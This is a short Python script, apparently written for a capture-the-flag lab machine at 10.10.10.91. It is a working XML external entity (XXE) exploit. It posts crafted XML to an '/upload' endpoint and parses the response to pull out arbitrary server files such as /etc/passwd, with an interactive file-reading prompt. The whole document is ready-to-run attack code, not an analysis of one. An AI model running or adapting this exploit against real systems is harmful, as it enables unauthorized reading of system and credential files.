#!/usr/bin/env python3
# -*- coding: utf-8 -*-



# Usage: python3 xeeFileReader.py
# Which File You Want?>/etc/passwd
# Usage2: python3 xeeFileReader.py /etc/passwd | grep -v -e nologin -e sync -e false

import requests
import re
import sys



URL = 'http://10.10.10.91:5000/upload'
REGEX = re.compile(r' Subject: (.*?)\n Content:', re.DOTALL)






def getFileContents(filename):
    xxe = f'''<?xml version="1.0" encoding="utf-8"?>
        <!DOCTYPE foo [
            <!ELEMENT foo ANY>
            <!ENTITY xxe SYSTEM "file://{filename}">
        ]>



        <entry>
            <Author>xxxxx</Author>
            <Subject>&xxe;</Subject>
            <Content>xxxxx</Content>
        </entry>'''



    files = {'file': ('xxe.xml', xxe, 'text/xml')}  # filename, content_type and headers
    #proxies = {'http': 'http://127.0.0.1:8888'}  # debug proxy (e. g. Burp)
    res = requests.post(URL, files=files)#, proxies=proxies, timeout=0.5  # debug proxy (e. g. Burp)



    fileContents = None
    if res.status_code == 200:
        try:
            fileContents = REGEX.search(res.text).group(1).strip()
        except AttributeError:
            pass



    return fileContents






def interactive():
    while True:
        filename = input('Which File You Want?> ').strip()
        try:
            fileContents = getFileContents(filename)
        except Exception as e:
            print('EXCEPTION: ' + str(e), end='\n\n')
        else:
            if fileContents:
                print(fileContents, end='\n\n')






def nonInteractive(filename):
    fileContents = None
    try:
        fileContents = getFileContents(filename)
    except Exception as e:
        print('EXCEPTION: ' + str(e))
    return fileContents






if __name__ == '__main__':
    if len(sys.argv) == 1:
        interactive()
    elif len(sys.argv) == 2:
        filename = sys.argv[1]
        fileContents = nonInteractive(filename)
        if fileContents:
            print(fileContents, end='\n\n')
    else:
        print(f'Usage: python3 {sys.argv[0]} [FILENAME]')